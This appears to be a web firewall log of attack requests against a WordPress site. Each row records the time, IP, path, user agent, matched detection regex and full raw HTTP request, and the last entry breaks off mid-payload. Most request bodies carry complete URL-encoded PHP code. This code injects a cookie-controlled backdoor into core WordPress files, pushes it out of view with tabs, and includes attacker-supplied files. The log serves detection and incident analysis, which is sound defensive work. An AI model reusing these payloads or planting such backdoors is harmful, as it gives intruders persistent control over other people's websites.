if%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpKNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3257\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nqp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:54:17","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3280\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 18:54:23","78.142.18.172","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLyLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3255\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nbV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:54:32","217.217.254.45","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL2VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3255\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\ncb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:55:03","203.190.11.3","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%